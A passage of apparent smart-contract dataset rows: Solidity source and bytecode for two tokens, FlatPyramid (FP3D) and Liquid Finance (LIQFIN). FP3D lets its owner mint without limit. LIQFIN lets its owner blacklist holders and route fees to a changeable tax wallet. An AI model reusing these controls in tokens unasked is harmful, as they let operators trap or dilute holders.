emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`)
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FP3D is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor(address supplyTo) public {
_name = "FlatPyramid";
_symbol = "FP3D";
_decimals = 18;
_mint(supplyTo , 400000000000000000000000000);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) public {
_burn(_msgSender() , amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) public {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063893d20e8116100a2578063a22b35ce11610071578063a22b35ce1461051f578063a457c2d71461056d578063a9059cbb146105d3578063dd62ed3e14610639578063f2fde38b146106b157610116565b8063893d20e8146103c25780638da5cb5b1461040c57806395d89b4114610456578063a0712d68146104d957610116565b8063313ce567116100e9578063313ce567146102a857806339509351146102cc57806342966c681461033257806370a0823114610360578063715018a6146103b857610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b6101236106f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b61020c6107b5565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bf565b604051808215151515815260200191505060405180910390f35b6102b0610898565b604051808260ff1660ff16815260200191505060405180910390f35b610318600480360360408110156102e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108af565b604051808215151515815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610962565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610976565b6040518082815260200191505060405180910390f35b6103c06109bf565b005b6103ca610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414610b56565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61045e610b7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049e578082015181840152602081019050610483565b50505050905090810190601f1680156104cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610505600480360360208110156104ef57600080fd5b8101908080359060200190929190505050610c21565b604051808215151515815260200191505060405180910390f35b61056b6004803603604081101561053557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d06565b005b6105b96004803603604081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd5565b604051808215151515815260200191505060405180910390f35b61061f600480360360408110156105e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea2565b604051808215151515815260200191505060405180910390f35b61069b6004803603604081101561064f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec0565b6040518082815260200191505060405180910390f35b6106f3600480360360208110156106c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f47565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a461101c565b8484611024565b6001905092915050565b6000600354905090565b60006107cc84848461121b565b61088d846107d861101c565b61088885604051806060016040528060288152602001611b9260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083e61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006109586108bc61101c565b8461095385600260006108cd61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b611024565b6001905092915050565b61097361096d61101c565b8261161d565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c761101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610b51610b56565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c175780601f10610bec57610100808354040283529160200191610c17565b820191906000526020600020905b815481529060010190602001808311610bfa57829003601f168201915b5050505050905090565b6000610c2b61101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610cfd610cf761101c565b836117d7565b60019050919050565b610d10828261161d565b610dd182610d1c61101c565b610dcc84604051806060016040528060248152602001611c6b60249139600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d8261101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b5050565b6000610e98610de261101c565b84610e9385604051806060016040528060258152602001611c036025913960026000610e0c61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b6001905092915050565b6000610eb6610eaf61101c565b848461121b565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f4f61101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611010576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61101981611994565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b486024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611130576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c8f6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b236025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611be06023913960400191505060405180910390fd5b61139381604051806060016040528060268152602001611bba60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561154757808201518184015260208101905061152c565b50505050905090810190601f1680156115745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c286021913960400191505060405180910390fd5b61170f81604051806060016040528060228152602001611c4960229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176781600354611ad890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42455032303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61188f8160035461159590919063ffffffff16565b6003819055506118e781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b6c6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611b1a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d5565b90509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e2066726f6d20746865207a65726f206164647265737342455032303a206275726e20616d6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a723158206f7eb64a3c0b11c2656d7a564873ff5da34264ffb0f0309d48199012f8f5439b64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 4,145 |
0x179fde0b1dea733f875a8d27ee7cba224c1feaba
|
/**
*Submitted for verification at Etherscan.io on 2022-03-16
*/
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (10 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 100000000 * 10**9);
require(maxheld > 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611882565b34801561027a57600080fd5b5061028e6102893660046118fc565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611928565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e61034436600461194a565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a03660046119a1565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a66565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a83565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611a66565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611a66565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611928565b6109a7565b34801561056657600080fd5b5061028e6105753660046118fc565b6109fa565b34801561058657600080fd5b506102be6105953660046119a1565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610d17565b3480156105e557600080fd5b506102be6105f4366004611aaa565b610d2f565b34801561060557600080fd5b50610214610614366004611ac7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610da2565b6000610661338484610f6a565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461108e565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b16565b9050610735853383610f6a565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061